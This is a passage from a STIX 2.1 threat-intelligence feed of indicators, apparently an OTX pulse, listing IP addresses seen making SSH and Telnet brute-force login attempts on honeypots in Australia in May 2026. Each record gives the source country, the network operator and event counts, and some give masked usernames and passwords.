      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:15:05.000Z",
      "valid_until": "2026-06-05T19:15:03.000Z"
    },
    {
      "created": "2026-05-04T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG.",
      "id": "indicator--ef857f1a-f18c-49f0-a728-1ab685ac2f6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '84.187.163.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T19:15:05.000Z",
      "valid_until": "2026-06-05T19:15:03.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--f4bd26f2-cf4e-4f41-ad87-ac8a374ee571",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.214.29.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 37153. Organisation(s): xneelo.",
      "id": "indicator--95d20e46-7505-46e7-b694-774cbd3c5103",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.232.177.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--533e5c27-6f23-4363-9664-cced9c6a6998",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.135.3.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--c4a539b7-4f25-4edf-b7e8-a62306f7f128",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.135.70.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 215224. Organisation(s): NovoServe B.V..",
      "id": "indicator--8f7402dd-7561-44fd-8df7-4c9358e8db0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.6.60.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 141718. Organisation(s): haoxiangyun.",
      "id": "indicator--d859e017-118b-450d-8ecc-c05d09ed73aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.110.221.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49981. Organisation(s): WorldStream B.V..",
      "id": "indicator--55d9ea35-3ac6-4a03-9cd6-7348ec1a9087",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.110.115.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): u****u. Passwords observed (masked): u*********n.",
      "id": "indicator--554f2aac-3f4b-44d8-afed-08026ed41f49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.76.143.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 63023. Organisation(s): GTHost.",
      "id": "indicator--ee85dfc4-59b8-459f-a061-30f099bb803f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.221.219.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--e28db144-765b-4c68-860c-e9c4d457e2d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 200845. Organisation(s): Avatel Telecom, SA.",
      "id": "indicator--64585502-1f38-481a-bb59-243f1e5b5a5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.30.197.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--5be473f5-5190-4e70-a9f7-70571cdc3a9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.137.241.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--ee5697ac-8c7a-48cc-9a09-ba8eae03a5e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.140.114.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BO. ASN(s): 25620. Organisation(s): COTAS LTDA..",
      "id": "indicator--c48cc2e8-50d5-451d-9c42-599d07d29e2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.186.21.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--23d36ef8-750c-45a3-ae8d-9759caae7dcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: KG. ASN(s): 42837. Organisation(s): Extra Line LLC.",
      "id": "indicator--5fd790c4-c4f0-4748-97ed-126dea83fac8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.34.225.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--7e814d82-56e1-4a21-8ee5-eac4c50f2ea8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.20.104.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MD. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--17555dd4-da7e-4457-99ca-8a289f2e2341",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.156.64.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53850. Organisation(s): GorillaServers, Inc..",
      "id": "indicator--4060f072-ce2e-4e83-9d87-0741f25ac951",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.239.119.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--037a777e-14e1-42f3-bec4-245ab19d60ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.94.189.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 9891. Organisation(s): CS LOXINFO Public Company Limited..",
      "id": "indicator--f1a1cc45-6b64-43e7-a1a0-8372e42129d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.254.151.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--afea3497-943d-4162-8189-bf77530966d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.14.254.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271951. Organisation(s): 4 EVER PLUG,C.A..",
      "id": "indicator--ccd0b721-5535-4cf1-b294-20cd47de621f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.196.79.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--c7e6d2d2-db56-41a1-821f-e3a3b7564d27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.249.41.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 48254. Organisation(s): 20i Limited.",
      "id": "indicator--9e0667a8-ad3b-4ae0-a7fc-cf11bfc02a69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.8.224.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213230. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--2105c0d6-5911-4b86-8288-2eec0aa42d7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.161.147.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--70aeefec-119e-4f15-bed2-c413c67efe91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.81.34.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 11878. Organisation(s): tzulo, inc..",
      "id": "indicator--2b1344a6-853d-4a20-9d0e-fb7f1c3f32a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.235.61.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T20:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--cfac6727-eef3-49a9-8bbe-664adb420c97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T20:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.217.140.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:15:40.000Z",
      "valid_until": "2026-06-05T20:15:08.000Z"
    },
    {
      "created": "2026-05-04T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 701. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, t**t, u**r, c***o. Passwords observed (masked): a***n, 1**4, p******d, 1***5, 1****6.",
      "id": "indicator--e4a32177-76cc-47b5-becc-254ae89f8c2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.110.159.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:15:10.000Z",
      "valid_until": "2026-06-05T21:15:08.000Z"
    },
    {
      "created": "2026-05-04T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--338da326-d50b-4a27-9f25-010033f75d86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '164.90.156.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:15:10.000Z",
      "valid_until": "2026-06-05T21:15:08.000Z"
    },
    {
      "created": "2026-05-04T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--6771bcf7-eb57-4495-80a4-a6c2347b1d5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.127.63.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:15:10.000Z",
      "valid_until": "2026-06-05T21:15:08.000Z"
    },
    {
      "created": "2026-05-04T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--9c1aa0e9-f1ba-4584-b41e-f6b9fc6f2305",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '208.87.242.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:15:10.000Z",
      "valid_until": "2026-06-05T21:15:08.000Z"
    },
    {
      "created": "2026-05-04T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--938a6888-45d8-475c-95ee-5d22ac0a341b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '208.87.243.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:15:10.000Z",
      "valid_until": "2026-06-05T21:15:08.000Z"
    },
    {
      "created": "2026-05-04T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 53356. Organisation(s): FREE RANGE CLOUD - Free Range Cloud Hosting Inc..",
      "id": "indicator--6393ca1d-9077-4e6c-944b-109c1a5aa0a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.133.64.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:15:10.000Z",
      "valid_until": "2026-06-05T21:15:08.000Z"
    },
    {
      "created": "2026-05-04T21:15:10.000Z",
